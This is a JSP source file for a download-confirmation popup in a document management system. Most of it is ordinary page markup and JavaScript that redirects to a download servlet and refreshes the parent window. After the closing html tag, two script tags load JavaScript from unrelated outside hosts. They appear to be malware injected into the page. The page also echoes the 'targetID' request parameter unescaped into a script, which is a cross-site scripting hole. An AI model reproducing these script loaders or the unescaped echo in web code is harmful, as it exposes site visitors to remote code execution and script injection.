<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
        "http://www.w3.org/TR/html4/strict.dtd">
<%
/*
 * @(#)ComfirmDownload.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  ComfirmDownload.jsp


    @author           Jim Zhou
    @company          DCIVision Limited
    @creation date    20/12/2006
    @version          $Revision: 1.2.4.5 $
*/
%>

<%@ page contentType="text/html;charset=UTF-8" %>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.user.bean.*" %>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<html>
<head>
<link media="screen" href="<%= request.getContextPath() %>/theme/pref<%=sessionContainer.getPreference()%>/css/common/common.css" charset="UTF-8" type="text/css" rel="stylesheet">
<link media="screen" href="<%= request.getContextPath() %>/theme/pref<%=sessionContainer.getPreference()%>/css/common/menu.css" charset="UTF-8" type="text/css" rel="stylesheet">
<link media="screen" href="<%= request.getContextPath() %>/theme/pref<%=sessionContainer.getPreference()%>/css/common/dtree.css" charset="UTF-8" type="text/css" rel="stylesheet">
<link href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/common/ListTable.css" charset="UTF-8" type="text/css" rel="stylesheet">
<link href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/common/PageNavBarStyle.css" charset="UTF-8" type="text/css" rel="stylesheet">
<link href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/common/Popup.css" charset="UTF-8" type="text/css" rel="stylesheet">
<link href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/common/Form.css" charset="UTF-8" type="text/css" rel="stylesheet">
</head>
<body>
<div class="popupPanelTitle">
	<bean:message key="dms.message.download_confirm"/>
</div>

<div>
	<ul class="message-list">
		<li><bean:message key='dms.message.records_checked_out' /></li>
		<li><bean:message key='dms.message.isdownload' /></li>
	</ul>
</div>

<div id="popupPanelBottom">
<div id="buttonSection">
    <html:standardButton label="dms.label.download" onClick="return download()"/>
    <html:standardButton label="common.label.close" onClick="return cancel()"/>
</div>
</div>
<script language="javascript">
<!--
  var documentID = "<%=request.getParameter("targetID")%>";
  function download(){
    window.parent.location.href = '<%= request.getContextPath() %>/dms/FileDownloadServlet?targetID=' + documentID + '&version=TOP&isDownload=Y';
    setInterval("checkRefresh()",1000);
  }
  function cancel(){
  	if (window.parent) {
  		window.parent.frameRemoteDlg.hide();
  	}
    refreshParentWindow();
  }
  function checkRefresh(){
    try{
      if (window.parent.document.readyState){//IE
        if (window.parent.document.readyState=="interactive" || window.parent.document.readyState=="complete"){
          refreshParentWindow();
        } else {

        }
      } else {//Firefox
        window.parent.addEventListener("load",function(){refreshParentWindow();},false);
      }
    } catch (ex) {
    }
  }
  function refreshParentWindow(){
    //alert("nnnn");
    var frm = null;
    var pWin = window.parent;
    for (var i = 0; i < pWin.document.forms.length; i++) {
      if (pWin.document.forms[i].name != "") {
        frm = pWin.document.forms[i];
        break;
      }
    }
    // for advance search module
    if (frm && frm.name == "editSearchDmsDocumentForm") {
      for (var i = 0; i < pWin.document.forms.length; i++) {
        if (pWin.document.forms[i].name != "") {
          frm = pWin.document.forms[i];
          if ((frm.advSearchOpt.value == "DMS.ATTR_SEARCH" && frm.name == "searchDmsDocumentForm") ||
              (frm.advSearchOpt.value == "DMS.ATTR_BULK_SEARCH" && frm.name == "bulkSearchDmsDocumentForm") ||
              (frm.advSearchOpt.value == "MS.ATTR_KEYWORD_SEARCH" && frm.name == "keySearchDmsDocumentForm")
               ) {
            break;
          }
        }
      }
    }
    // for opened window clipboard
    if (frm && frm.name == "listDmsClipboardForm"){
      if (pWin.opener) {
        var oWindow = pWin.opener;
        var ofrm = null;
        for (var i = 0; i < oWindow.document.forms.length; i++) {
          if (oWindow.document.forms[i].name != "") {
            ofrm = oWindow.document.forms[i];
            break;
          }
        }
        if (ofrm != null) {
          ofrm.submit();
        } else {
          oWindow.location.reload();
        }
      }
    }
    if (frm != null) {
      frm.submit();
    } else {
      pWin.location.reload();
    }
  }
//-->
</script>
</body>
</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>